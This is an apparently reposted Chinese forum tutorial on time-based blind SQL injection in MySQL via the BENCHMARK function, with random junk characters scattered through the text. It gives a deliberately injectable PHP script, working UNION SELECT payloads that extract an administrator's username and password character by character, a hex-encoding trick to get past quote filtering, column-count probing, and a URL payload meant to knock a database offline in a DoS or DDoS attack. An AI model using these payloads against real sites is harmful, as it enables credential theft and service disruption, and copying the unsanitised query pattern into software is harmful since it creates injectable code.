找回密码
 立即注册
查看: 2901|回复: 0
打印 上一主题 下一主题

MYSQL中BENCHMARK函数的利用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:03:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
MYSQL中BENCHMARK函数的利用 5 ]+ ?! k1 O# O2 l/ q( I
本文作者:SuperHei8 L8 d. Z0 `" k: u* D3 T+ T
文章性质:原创
; }) M8 t! T9 o! L* L) \/ e发布日期:2005-01-028 ^# L9 v0 p8 C2 @
完成日期:2004-07-09 : w4 ^8 H( p% Y% S2 \: \
第一部$ Y+ `9 [- Y" d: u+ N( ]

3 K9 q: U1 ?  o6 X. J利用时间推延进行注射---BENCHMARK函数在注射中的利用
( U. |4 p, p1 v. ~- y8 N
& k  s. H8 |2 F. u/ }* |/ M* i一.前言/思路* N+ I1 [1 f6 ^' X8 w

/ }0 N9 m0 {0 M( `" b5 @8 a; b  如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。
; M$ e9 u* K5 m5 C
, @( m7 q2 M" S+ j  本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。( x2 R4 b9 @3 }6 ~: C- X: l

; S3 ~/ P( s7 O, D; ^二.关于BENCHMARK函数
6 e3 ~( @  N  B2 g2 b0 ^& B& j+ p8 W9 T: n0 U1 ]
  在MySQL参考手册里可以看到如下描叙: 9 @7 q( l! z; k5 |

" y7 K7 H: c( A% r9 j, ~) g; L( ?: Y! b$ H
--------------------------------------------------------------------------------
; F9 [) v/ y. e( o/ N1 W9 Q3 v3 o) g" H5 H
BENCHMARK(count,expr) 0 i. z4 A+ R; n/ ?7 V
BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。 ( z9 n' Y* |7 n
mysql> select BENCHMARK(1000000,encode("hello","goodbye"));
8 `5 x: Q3 E2 S9 j9 S; G: `- l; s" ]+----------------------------------------------+
( n! h2 _# Q( h' m0 N" u| BENCHMARK(1000000,encode("hello","goodbye")) | 8 n1 E5 |7 X4 }7 [% k; f
+----------------------------------------------+ ; P0 C0 N6 g9 g/ ]+ Z: B  w6 `
| 0 | $ ?, h0 c4 h8 \* K$ u4 W
+----------------------------------------------+
! F6 V8 ]; k4 E6 F# v1 row in set (4.74 sec) - a3 j' W& u& A) _* Q

* j8 |0 O4 M" K/ v) x报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。1 c3 V9 w! }' A& ^' V

/ N- P9 E5 e& k9 e- `" A% Z: \! Y8 X+ w# ?6 P4 E3 F$ [
--------------------------------------------------------------------------------
8 t2 i$ ~. V* b0 D% \& f! p
/ Y" C- [4 _7 d6 I: r: x. Z  只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果:
; Y" ^! A9 N" |' C- A3 C  W9 D7 X9 w2 a! B+ T
mysql> select md5( 'test' );
9 c* B2 K) p, ^" U8 O( M+----------------------------------+
3 s, F- D  [8 H| md5( 'test' ) |
& O+ q. Q) h. d. R2 R; I+ o+----------------------------------+ ) |. L0 G1 ~4 v0 z0 q2 `+ ?  n. e
| 098f6bcd4621d373cade4e832627b4f6 |   J% L, p! s9 g0 w2 B- Z% I
+----------------------------------+ 9 W6 r  R: G/ S6 @7 j4 u( l0 a  C
1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec
  v3 q1 t2 b( Y' _6 U2 q) [
6 T3 m7 T& ~& |8 u" Umysql> select benchmark( 500000, md5( 'test' ) ); ! p6 `+ q1 U8 D6 g/ q
+------------------------------------+
1 U" A; z3 I8 w. c3 i# q9 G| benchmark( 500000, md5( 'test' ) ) | 9 E8 d+ i4 w8 T( o
+------------------------------------+ 5 N; a. p+ M( w5 [1 R
| 0 | ) j* s7 K8 T( `
+------------------------------------+ % j% `: O8 k) s, F8 J1 [+ p7 S) Z; b
1 row in set (6.55 sec) 〈------------执行时间为6.55 sec# |) r) D, T! _. q

# N9 B" A( s' X- c: [9 `
' K4 T( ~5 B4 ?! Q: Q7 m  由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。 - s9 O  ~5 k0 t3 s$ n- B0 {4 p
+ R5 b: D' k9 M: E  v9 H' D# k
三.具体例子
/ \, d+ n: d& ]) e! M
0 f- P5 U- }0 [: u  首先我们看个简单的php代码:9 k, V4 B' W5 U( b( D2 {9 `. e7 l, Z3 F
0 j$ U8 P2 y2 W( d  g# M6 G
< ?php
5 u9 q3 T2 L5 N* `$servername = "localhost"; & f" i5 L6 U( B+ F1 D
$dbusername = "root"; " P, @/ s  S0 }: A* K
$dbpassword = ""; : d1 I% [5 A2 u& H# U" @3 n( f
$dbname = "injection"; ; ]' r& N/ X# l

( R- I6 ]# k- a/ xmysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); 4 ]$ x4 N& x+ B

3 ~7 z1 K% g5 \7 s4 A4 G$sql = "SELECT * FROM article WHERE articleid=$id"; 9 j# ?- E- p7 j0 P5 B
$result = mysql_db_query($dbname,$sql);
) u0 C# p6 N% |0 ^' v$row = mysql_fetch_array($result);
- Y0 @# p1 d1 s& b) @& W3 b
' r( |- J) t, e7 `! U4 e  N. lif (!$row)
$ w' S) m/ v6 H! Z. E; \- o" l8 i{
* P' `# C5 g( v1 Hexit;
( R0 i! ]! p! Y/ `" r1 J} # ^4 D$ K& B4 o: b6 o+ k
?>* K8 z& b( _# ?, v$ n
8 s2 b& b1 n' K, Y
$ L6 S5 ~6 ]  `7 S% V. u
  数据库injection结构和内容如下:/ a% K% I% n9 Z: a/ |6 n; U' i" g
% x1 e6 \$ j, c7 w: ?
# 数据库 : `injection`
  o& f8 }' u* l. z0 x#
& t4 V. a* x7 o% m% s- i6 H- e% a3 U) k/ ]) r+ O# @
# -------------------------------------------------------- & J2 N# ]3 h! M9 g+ r; E

' w. @  F7 w" |8 \+ p4 a# / \) R* [( V- N* F, v
# 表的结构 `article`
+ S2 h' w, K& r3 W; U9 W$ |#
3 J9 d5 e) i8 J5 \- }% T
/ w  g% c8 o5 X( V/ @" i2 XCREATE TABLE `article` ( 8 `) E8 \3 ]/ @
`articleid` int(11) NOT NULL auto_increment,
3 v* j5 }5 g$ E& U' @$ Y" F; V, `. L`title` varchar(100) NOT NULL default '', & X. w% B" ~, q" Q: Q0 \& C
`content` text NOT NULL,
8 w$ i7 b. }3 S6 P- T. nPRIMARY KEY (`articleid`)
1 n: c3 k4 W9 X- w; ?2 e. y) TYPE=MyISAM AUTO_INCREMENT=3 ;
* |8 l. r& O; |. k8 @$ {
, S5 g( [4 g0 U. [#
! e5 t& U7 g: B3 c* O" W# 导出表中的数据 `article` % s) h9 ]. D0 `: b/ P/ R
#
7 X+ e5 j6 E' b
$ K" K1 f' R2 C! [, A; IINSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~'); 3 E0 m3 R7 d" P2 `7 h5 v5 Z
INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊'); 4 ?, {/ I0 I: Y( ]" {

* n8 v9 z0 y+ I- }: H3 E1 b" c# -------------------------------------------------------- : \/ D  l$ s9 L/ p5 N0 A" ~3 X' b
8 d. C, M" }- ^8 j
#
: [$ D' o( g' v5 {0 p6 q# 表的结构 `user`
9 Y, r. ?; D) d6 s# 2 e9 _0 D9 |) S3 l
5 a6 [: V  Y* }, H) O# |' c0 o$ f
CREATE TABLE `user` ( / H  q9 p/ b) n. b5 u
`userid` int(11) NOT NULL auto_increment,
$ W; h6 l& [; w, }`username` varchar(20) NOT NULL default '',
! I. D8 W+ @: J* x( d2 E`password` varchar(20) NOT NULL default '', . w# ]! p6 L2 t  A; W
PRIMARY KEY (`userid`) ) u( x% p4 I, h1 l% c* ]
) TYPE=MyISAM AUTO_INCREMENT=3 ; ; e9 @: V2 d$ K9 U6 q  [5 @# |

  i! A. X9 k) E& ?9 M# # k  P6 `; p7 @
# 导出表中的数据 `user`
4 F- |/ p: h- W1 {- v1 o! h/ I" W# ) d2 h7 L4 A4 m9 S  A: s- P- c

; e2 Y% x8 s1 {INSERT INTO `user` VALUES (1, 'angel', 'mypass'); - }0 Y% D6 i! d0 p
INSERT INTO `user` VALUES (2, '4ngel', 'mypass2');! {5 B5 {. D% Q" \1 Q& }' T  e: Q

# R5 f' s) @+ x  ^4 o8 P
# t4 H2 y: V4 ^8 M5 c) b3 R  代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:
$ M, {: g$ _$ ^( L. `, z( f
$ X: p# ^/ _9 h( ^' Nid=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*
: b$ I" z+ l) x; k- l6 q5 p" j; X8 Q
1 I- q" L+ n, H! z( s& r9 V4 O* s8 u, A4 B
  上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:
; R7 {) g" t; O7 B  X) o( S
) I; a. O7 f! H. M) z, h* n) thttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*
) q0 m% ~# t; r9 D' r! h* N8 m. X7 T9 I / d, X" ~" m1 q
) o( E1 U6 c" o( h; y* |
  执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。 ) n& c( T* s! F. d
1 W" ]' N$ D" F1 @5 w0 V- L
  注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。
; R: L; o% {& l  y2 I( n0 R+ g1 r( M
6 v+ w5 X) d1 E2 ^4 d. ^) i7 Y- t# e第二部0 k2 I2 `6 K7 Y' d, r* {
7 l/ u! g% J4 f
利用BENCHMARK函数进行ddos攻击 + P, N- z& I/ S! C! p

5 H. A! }3 B7 w9 H  其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:
  ^* x# [6 V) `; M; s6 |8 \5 {- D$ u: x# F1 |1 c, R
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))
" j! z+ R: W& P% M4 ^2 W+ X& X
9 w; ?3 v  `& z' ]' Z
8 t# `4 w  R! [7 x) A* ]- G小结1 G# |- T: N* z4 E' t. @
! G1 K- _" Z5 W* x7 G( D1 c$ _
  本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。
& k. a2 v% g; o) B) s % @) @2 o& _, d  p- V# X$ T
  6 m( ?1 b1 l) e! j9 P- e5 [
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表